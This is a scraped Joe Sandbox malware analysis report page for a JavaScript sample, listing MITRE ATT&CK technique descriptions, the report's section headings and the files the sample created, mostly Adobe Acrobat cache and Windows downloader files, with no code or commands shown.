Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10076292573176921778.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d2a468b-36cd-4f57-80e6-8ce056e77155.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7072

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
10076292573176921778.js